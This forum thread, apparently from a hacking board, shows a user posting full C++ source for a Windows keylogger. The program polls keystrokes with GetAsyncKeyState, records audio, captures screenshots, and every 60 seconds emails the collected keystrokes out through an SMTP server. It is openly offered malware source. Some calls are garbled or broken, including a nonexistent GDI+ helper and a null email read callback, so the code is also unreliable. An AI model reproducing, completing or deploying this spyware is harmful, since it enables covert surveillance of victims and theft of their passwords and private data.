1 month ago
tnx for share
program Written language?
I wrote the program in C++.
Now the program can monitor the keyboard, send emails, record audio, and take screenshots of the screen.
(This post was last modified: 1 month ago by mcnair.)
program Written language?
I wrote the program in C++.
Now the program can monitor the keyboard, send emails, record audio, and take screenshots of the screen.

Code:
#include <iostream>
#include <fstream>
#include <thread>
#include <chrono>
#include <string>
#include <vector>
#include <curl/curl.h>
#include <windows.h>
#include <winuser.h>
#include <mmsystem.h>
#include <portaudio.h>
#include <gdiplus.h>
#pragma comment(lib, "winmm.lib")
#pragma comment(lib, "gdiplus.lib")
#define SEND_REPORT_EVERY 60
#define EMAIL_ADDRESS "YOUR_USERNAME"
#define EMAIL_PASSWORD "YOUR_PASSWORD"
class Logger {
private:
std::string logData;
void appendLog(const std::string& data) {
logData += data;
}
void sendEmail() {
CURL* curl;
CURLcode res;
curl = curl_easy_init();
if (curl) {
curl_easy_setopt(curl, CURLOPT_URL, "smtp://smtp.mailtrap.io:2525");
curl_easy_setopt(curl, CURLOPT_USERNAME, EMAIL_ADDRESS);
curl_easy_setopt(curl, CURLOPT_PASSWORD, EMAIL_PASSWORD);
curl_easy_setopt(curl, CURLOPT_MAIL_FROM, "[email protected]");
struct curl_slist* recipients = NULL;
recipients = curl_slist_append(recipients, "[email protected]");
curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
curl_easy_setopt(curl, CURLOPT_READFUNCTION, NULL);
curl_easy_setopt(curl, CURLOPT_READDATA, &logData);
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
std::cerr << "Error sending email: " << curl_easy_strerror(res) << std::endl;
}
curl_slist_free_all(recipients);
curl_easy_cleanup(curl);
}
}
void logKeystrokes() {
char key;
while (true) {
for (key = 8; key <= 190; key++) {
if (GetAsyncKeyState(key) & 0x0001) {
logData += key;
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(10));
}
}
void recordAudio() {
system("rec sound.wav trim 0 5");
}
void takeScreenshot() {
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
HDC hdcScreen = GetDC(NULL);
HDC hdcMemDC = CreateCompatibleDC(hdcScreen);
int width = GetSystemMetrics(SM_CXSCREEN);
int height = GetSystemMetrics(SM_CYSCREEN);
HBITMAP hbmScreen = CreateCompatibleBitmap(hdcScreen, width, height);
SelectObject(hdcMemDC, hbmScreen);
BitBlt(hdcMemDC, 0, 0, width, height, hdcScreen, 0, 0, SRCCOPY);
Gdiplus::Bitmap bitmap(hbmScreen, NULL);
CLSID pngClsid;
Gdiplus::GetEncoderClsid(L"image/png", &pngClsid);
bitmap.Save(L"screenshot.png", &pngClsid, NULL);
DeleteObject(hbmScreen);
DeleteDC(hdcMemDC);
ReleaseDC(NULL, hdcScreen);
Gdiplus::GdiplusShutdown(gdiplusToken);
}
public:
void run() {
std::thread keyLoggerThread(&Logger::logKeystrokes, this);
while (true) {
std::this_thread::sleep_for(std::chrono::seconds(SEND_REPORT_EVERY));
recordAudio();
takeScreenshot();
sendEmail();
logData.clear();
}
keyLoggerThread.join();
}
};
int main() {
Logger logger;
logger.run();
return 0;
}
(This post was last modified: 1 month ago by mcnair.)